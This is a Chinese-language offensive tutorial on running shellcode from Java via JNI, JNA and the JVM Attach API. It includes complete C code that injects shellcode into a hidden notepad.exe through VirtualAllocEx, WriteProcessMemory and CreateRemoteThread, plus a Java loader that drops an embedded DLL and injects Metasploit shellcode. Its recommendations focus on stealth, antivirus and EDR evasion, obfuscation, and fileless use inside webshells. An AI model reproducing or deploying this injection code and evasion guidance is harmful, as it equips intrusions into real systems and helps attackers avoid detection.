java执行shellcode的几种方法
字数 1353 2025-08-10 00:24:04

Java执行Shellcode的几种方法详解

1. JNI方法

原理

Java通过JNI(Java Native Interface)调用本地C/C++函数来实现底层操作。我们需要编写一个C文件,按照JNI规范实现函数,然后编译为DLL供Java调用。

实现步骤

  1. 编写C文件
/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
    
    /* reset some stuff */
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    
    /* start a process */
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = NULL;
    si.hStdError = NULL;
    si.hStdInput = NULL;
    
    /* resolve windir? */
    GetEnvironmentVariableA("windir", lbuffer, 1024);
    
    /* setup our path... choose wisely for 32bit and 64bit platforms */
    #ifdef _IS64_
    _snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
    #else
    _snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
    #endif
    
    /* spawn the process, baby! */
    if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        return;
    
    hProcess = pi.hProcess;
    if (!hProcess)
        return;
    
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
    if (wrote != length)
        return;
    
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}
  1. 编写Java调用代码
import java.io.*;

public class Demo {
    /* our shellcode... populate this from Metasploit */
    byte shell[] = new byte[0];
    
    public native void inject(byte[] me);
    
    public void loadLibrary() {
        try {
            /* our file */
            String file = "injector.dll";
            
            /* determine the proper shellcode injection DLL to use */
            if ((System.getProperty("os.arch") + "").contains("64"))
                file = "injector64.dll";
            
            /* grab our DLL file from this JAR file */
            InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
            byte[] data = new byte[1024 * 512];
            int length = i.read(data);
            i.close();
            
            /* write our DLL file to disk, in a temp folder */
            File library = File.createTempFile("injector", ".dll");
            library.deleteOnExit();
            FileOutputStream output = new FileOutputStream(library, false);
            output.write(data, 0, length);
            output.close();
            
            /* load our DLL into this Java */
            System.load(library.getAbsolutePath());
        } catch (Throwable ex) {
            ex.printStackTrace();
        }
    }
    
    public Demo() {
        loadLibrary();
        inject(shell);
    }
    
    public static void main(String args[]) {
        new Demo();
    }
}

优缺点

优点

  • 直接调用系统API,功能强大
  • 可以精确控制注入过程

缺点

  • 需要落地自定义DLL文件
  • 自定义DLL没有签名,容易被杀软查杀
  • 实现复杂,需要编写C代码

2. JNA方法

原理

JNA(Java Native Access)是第三方库,封装了JNI的复杂细节,可以直接调用DLL中的函数而无需编写C代码。

实现示例

// 示例代码参考APT组织CoffeeShot的实现
// 主要调用VirtualAllocEx等Windows API在目标进程中分配内存并执行shellcode

优缺点

优点

  • 无需编写C代码
  • 调用DLL函数像调用Java方法一样简单

缺点

  • 需要集成JNA jar包,payload较大(1M+)
  • JNA会生成JNI的DLL文件,该文件没有签名,可能被杀
  • 仍然依赖本地库

3. JVM Attach API方法

原理

利用JDK提供的sun.tools.attach.WindowsVirtualMachine类,通过JVM的Attach机制注入shellcode。该方法使用的DLL由JDK提供,有Oracle签名。

实现步骤

  1. 检查类是否已加载
// 判断JVM中是否已加载sun.tools.attach.WindowsVirtualMachine
  1. 使用Java ASM动态生成类
// 通过ASM字节码技术动态生成需要的类
  1. 通过反射调用
// 使用反射机制调用相关方法

优缺点

优点

  • 无需落地DLL文件
  • 使用的DLL有Oracle数字签名
  • payload体积小
  • 适合集成到webshell管理工具中

缺点

  • 实现较为复杂
  • 依赖特定JDK实现

总结对比

方法 是否需要C代码 是否需要DLL DLL签名 实现复杂度 payload大小 杀软检测风险
JNI 是(自定义) 中等
JNA 是(JNA提供) 大(1M+)
JVM Attach 否(使用JDK) 中高

推荐方案

  1. 隐蔽性要求高:使用JVM Attach API方法,利用JDK签名DLL
  2. 快速实现:使用JNA方法,虽然payload较大但实现简单
  3. 完全控制:使用JNI方法,可以完全自定义注入过程

注意事项

  1. 所有方法在实战中都需考虑目标环境(JRE版本、架构等)
  2. 注入行为可能触发EDR/杀软的行为检测
  3. 建议结合其他技术如混淆、加密等提高隐蔽性
  4. 在webshell等受限环境优先考虑无文件落地的方案

扩展思考

  1. 可以结合Java的反射和字节码技术动态修改注入逻辑
  2. 考虑使用内存中加载DLL的技术避免文件落地
  3. 针对不同杀软环境调整注入策略
Java执行Shellcode的几种方法详解 1. JNI方法 原理 Java通过JNI(Java Native Interface)调用本地C/C++函数来实现底层操作。我们需要编写一个C文件,按照JNI规范实现函数,然后编译为DLL供Java调用。 实现步骤 编写C文件 : 编写Java调用代码 : 优缺点 优点 : 直接调用系统API,功能强大 可以精确控制注入过程 缺点 : 需要落地自定义DLL文件 自定义DLL没有签名,容易被杀软查杀 实现复杂,需要编写C代码 2. JNA方法 原理 JNA(Java Native Access)是第三方库,封装了JNI的复杂细节,可以直接调用DLL中的函数而无需编写C代码。 实现示例 优缺点 优点 : 无需编写C代码 调用DLL函数像调用Java方法一样简单 缺点 : 需要集成JNA jar包,payload较大(1M+) JNA会生成JNI的DLL文件,该文件没有签名,可能被杀 仍然依赖本地库 3. JVM Attach API方法 原理 利用JDK提供的sun.tools.attach.WindowsVirtualMachine类,通过JVM的Attach机制注入shellcode。该方法使用的DLL由JDK提供,有Oracle签名。 实现步骤 检查类是否已加载 : 使用Java ASM动态生成类 : 通过反射调用 : 优缺点 优点 : 无需落地DLL文件 使用的DLL有Oracle数字签名 payload体积小 适合集成到webshell管理工具中 缺点 : 实现较为复杂 依赖特定JDK实现 总结对比 | 方法 | 是否需要C代码 | 是否需要DLL | DLL签名 | 实现复杂度 | payload大小 | 杀软检测风险 | |------|--------------|-------------|---------|------------|-------------|--------------| | JNI | 是 | 是(自定义) | 无 | 高 | 中等 | 高 | | JNA | 否 | 是(JNA提供) | 无 | 中 | 大(1M+) | 中 | | JVM Attach | 否 | 否(使用JDK) | 有 | 中高 | 小 | 低 | 推荐方案 隐蔽性要求高 :使用JVM Attach API方法,利用JDK签名DLL 快速实现 :使用JNA方法,虽然payload较大但实现简单 完全控制 :使用JNI方法,可以完全自定义注入过程 注意事项 所有方法在实战中都需考虑目标环境(JRE版本、架构等) 注入行为可能触发EDR/杀软的行为检测 建议结合其他技术如混淆、加密等提高隐蔽性 在webshell等受限环境优先考虑无文件落地的方案 扩展思考 可以结合Java的反射和字节码技术动态修改注入逻辑 考虑使用内存中加载DLL的技术避免文件落地 针对不同杀软环境调整注入策略